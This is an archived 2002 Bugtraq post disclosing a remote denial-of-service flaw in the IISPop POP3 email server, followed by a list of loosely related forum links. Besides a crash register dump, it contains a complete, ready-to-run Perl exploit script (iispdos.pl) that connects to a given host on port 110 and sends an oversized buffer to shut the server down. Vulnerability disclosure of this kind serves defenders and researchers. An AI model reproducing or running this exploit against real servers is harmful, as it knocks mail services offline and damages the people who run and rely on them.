IISPop remote DOS

From: securma massine (securma@caramail.com)
Date: 11/14/02


From: securma massine <securma@caramail.com>
To: bugtraq@securityfocus.com
Date: Thu, 14 Nov 2002 12:11:55 GMT+1


hi

The IISPop EMail Server (http://www.curtiscomp.com/)was
designed for small networks,This is a POP3 only server,
designed to be paired with the SMTP server bundled in
Windows 2000/IIS 5.
 
 I have found that IISpop is vulnerable has a attack DOS
caused by sends of a broad buffer (289999 byte) this attack
gives the following state of the registers (tested on v
1.161 end 1.181)

Access violation - code c0000005 (first chance)
eax=00000041 ebx=00407d3d ecx=00000101 edx=000021ae
esi=0040693d edi=00437181
eip=77e76941 esp=0112ffb0 ebp=0000026c iopl=0 nv up
ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038
gs=0000 efl=00000206
KERNEL32!GetCurrentThreadId+4:
77e76941 0000 add [eax],al
ds:0023:00000041=??

(unhandled exeption in IISPop.exe (KRNELL32.DLL)
0xc0000005 : access violation

exploit:
#!/usr/bin/perl -w
# tool : iispdos.pl
# shutdown all version of IISPop
# greetz crack.fr , marocit ,christal
#
 
use IO::Socket;

$ARGC=@ARGV;
if ($ARGC !=1) {
        print "\n-->";
 print "\tUsage: perl iispdos.pl <host> \n";
        exit;
}

$remo = $ARGV[0];
$buffer = "A" x 289999;

print "\n-->";
print "\tconnection with $remo\n";
unless ($so = IO::Socket::INET->new (Proto => "TCP",
                                         PeerAddr => $remo,
                                         PeerPort
=> "110"))
{
 print "-->";
 print "\tConnection Failed...\n";
 exit;
}
print $so "$buffer\n";
close $so;

print "-->";
print "\tnow test if the distant host is down\n";
exit;

_________________________________________________________
Gagne une PS2 ! Envoie un SMS avec le code PS au 61166
(0,35€ Hors coût du SMS)



Relevant Pages

  • [NT] IISPop Remote DoS
    ... IISPop Email Server was designed for small ... This POP3 only server was designed to be paired with the SMTP ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
    (Securiteam)
  • Re: windows time slower than 10 mins
    ... SBS server sync with an external time source. ... This newsgroup only focuses on SBS technical issues. ... -tz print the local time zone info and exit. ... frequency determined during synchronization, then exit. ...
    (microsoft.public.windows.server.sbs)
  • Re: Socket Programming Problem
    ... number to the server and server increments the number and sends it back to ... the client. ... exit(EXIT_FAILURE); ... if(bind(sockfd, (struct sockaddr*) &server_str, ...
    (comp.unix.programmer)
  • Re: windows time slower than 10 mins
    ... I have windows 2000 server standard for DC ... -tz print the local time zone info and exit. ... frequency determined during synchronization, then exit. ... PLEASE NOTE the newsgroup SECURE CODE and PASSWORD were ...
    (microsoft.public.windows.server.sbs)
  • Re: Exiting without printing
    ... > Can someone direct me to the proper perldoc file which explains the easiest ... > way to exit a Perl app? ... > I am writing a script that is run by the server once an hour, ... It cause the Perl app to exit with a zero exit code, ...
    (comp.lang.perl.misc)